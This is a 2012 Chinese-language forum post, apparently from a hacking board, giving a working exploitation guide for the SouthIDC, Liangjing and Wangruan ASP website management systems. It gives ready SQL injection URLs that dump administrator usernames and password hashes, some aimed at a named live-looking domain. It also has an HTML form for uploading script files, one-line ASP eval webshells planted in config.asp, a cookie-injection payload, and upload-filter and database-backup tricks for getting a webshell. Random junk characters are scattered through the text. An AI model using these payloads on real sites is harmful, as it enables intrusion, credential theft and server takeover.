标题: 南方数据网站管理系统注入漏洞&后台拿WebShell [打印本页] 作者: admin 时间: 2012-12-4 11:06 标题: 南方数据网站管理系统注入漏洞&后台拿WebShell /Databases/0791idc.mdb 4 d- z# @1 h( N Z5 d1 l& l: R/ A1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7 + F. M/ ?* B1 u/ Q0 y7 H
也可能是(另外一个版本)news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7 - h) q1 u. E7 L, Q O( ]直接暴管理员帐号密码(md5) 3 r& l L5 W; {' U1 m2.登陆后台% B5 C H/ v# S8 M
3.利用编辑器上传:' ]% S1 p: u, M$ f t: \7 V
访问admin/southidceditor/admin_style.asp% k9 A6 x& C: C7 a/ P# e
修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.: b& l Z2 q1 H |9 J
) U, L9 }; B$ z8 S+ {' }# X========================================. t2 H b$ _! R0 ]
+ V9 k6 u, O6 m
参考资料整理: % C* S6 G6 s. x* ?* e2 k南方数据、良精系统、网软天下漏洞利用( S( [8 z1 l* [# B- I j; i
) r' u2 z6 i4 t6 `- t: I1、通过upfile_other.asp漏洞文件直接取SHELL2 U% J v+ a4 ^
直接打开userreg.asp进行注册会员，进行登录，（在未退出登录的状态下）使用本地上传文件进行上传代码如下：+ Q! T8 [1 p. f6 L6 T
<HTML><HEAD> / e, h% v+ l; k% d
<META http-equiv=Content-Type content="text/html; charset=gb2312"> : Y) y, f/ A8 I
<STYLE type=text/css>BODY { 6 z" a0 q8 P7 \9 R. G
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee 9 a3 Y1 q/ S6 L% x, d' {+ b
} % W5 `- W _$ u: B+ |.tx1 { ) f7 i' Z+ N. ^
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px `7 p8 p6 |; k( S
} 3 N+ M8 `( F/ y$ U" G1 S2 ^, [; K
</STYLE> ( d/ A: f5 u1 J. h* Z8 x( \3 _<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD> $ e. U, a" ?& @
<BODY leftMargin=0 topMargin=0> 1 o7 W4 {5 |% o
<FORM name=form1 action="http://www.huobaodidai.cn/upfile_Other.asp"; method=post 6 I5 l% S/ J- ~1 D6 _% N! A& wencType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT xxxxx="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit> 9 h$ y& r0 M7 {; h, n
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML> ) X3 q/ @8 U- q& \" b9 x! j, l% `: n , E" V# o2 j$ m- S将以上代码保存为html格式，替换代码中的网址，第一个框里选择图片文件，第二个框选择.cer、.asa或asp文件上传（后面需要加一个空格，貌似在IE8中进行使用不能后面加空格，加空格时就弹出选择文件对话框，我是找不到解决办法）。 * R& J" j# j. @4 A2 g5 Y1 {, h注：此方法通杀南方数据、良精系统、网软天下等 6 \2 P% B( C' b + U: _3 p9 ^% h+ `6 R$ p2、通过注入秒杀管理员帐号密码，使用如下： 0 j9 A0 o/ [# r* xhttp://www.huobaodidai.cn/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20’’=’ , C) x+ k. Z) @7 |以上代码直接暴管理员帐号和密码，取SHELL方法如下：% r0 w3 `3 Y) u. I/ u
在网站配置[http://www.target.com/admin/SiteConfig.asp]的版权信息里写入 "%><%eval(request(chr(35)))%><%’ & K# G j/ r. n" R成功把shell写入http://www.target.com/inc/config.asp 1 K1 m5 F4 n$ w# I6 i+ [! u这里一句话chr(32)密码是“#” ( p6 h- s7 u; G3、cookie注入 9 R# i4 m( ?" `- H# ^* U, }清空地址栏，利用union语句来注入，提交：# L# Z. M) x5 w8 F1 p8 S
javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin"))3 k) Q* f( T8 E" f6 A9 i
如果你牛你就手工，反正我是不会，用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为？ # p2 K, r, r) T* l/ n5 E- n: j" [注：貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。 * C* Y5 o( d, I% ]! H" E ?（当然南方不只有上面三个漏洞，还有几个漏洞貌似不常用，反正我给我常用的总结出来希望对大家有帮助） 0 Y9 A7 `0 Y) @# B& ~! K" x; E7 z2 B5 a
三、后台取SHELL方法总结* q" G3 \4 E; W. |7 h( G7 [
（1）在系统管理中的网站配置中插入一句话马：进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入"%><%Eval(Request(chr(112)))%><%’，再点保存配置，如图： 6 u b1 @) \% F8 _/ F6 L# P% G然后我们打开inc/config.asp文件，看到一句话马已写入到配置文件中了， 5 T4 ]: S1 n* ^3 l: u7 q这时再打开一句话马的客户端,提交同样得到一个小马 & k1 J% I/ M6 g(注:以下均在其它网站上测试所截的图，为防止信息泄漏，未截留网站连接，请谅解！)# D( s; H$ @% Z% |; D8 K1 _$ f
（2）后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下： ! w; ]1 d3 @. ?1 B5 sif fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then, ?/ }7 e6 F6 i
EnableUpload=false8 }) y( ], Y& o+ {' ]1 U
/ E, g3 |8 O) L+ Mend if : x3 g- l5 @( D# h; E& A9 }8 b
if EnableUpload=false then. Z- u9 D7 i4 }0 `1 X
msg="这种文件类型不允许上传！nn只允许上传这几种文件类型：" & UpFileType * y9 x0 m0 x! M/ `* GFoundErr=true ' \6 L9 u- F L$ K; U* ?end if 6 q2 J3 D' m7 N: U大家可以看到程序只限制了对"asp"，"asa","aspx"类的文件上传，我们只要在”网站配置”的允许的上传文件类型处增加上传“cer“等被服务器可解析的文件类型就可，如图：3 Y: b; c3 c0 F) q% p( V/ i
提交时却显示下载页面 ,上传其它如”htr,cdx”等后缀文件时,提交时服务器却不请求(只能说运气不好吧)( C" K7 ~9 N$ c* i# K J( l
（3）后台备份,直接在”产品管理”下的添加产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库路径”栏填入上传的路径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动添加上.asa的 1 O# R2 |; j3 K" | ! @" t* D; V; |8 P/ j点”确定”后提示”备份数据库成功….”不过实际文件是没有.asa的 7 E: I1 Q1 ]% d1 u( Y# W7 A; a直接访问备份后的地址,就得到一个webshell . U f1 R6 Y, u9 K4 x（以上虽用网软做的后台演示，但南方和良精后台取shell都是大同小异的）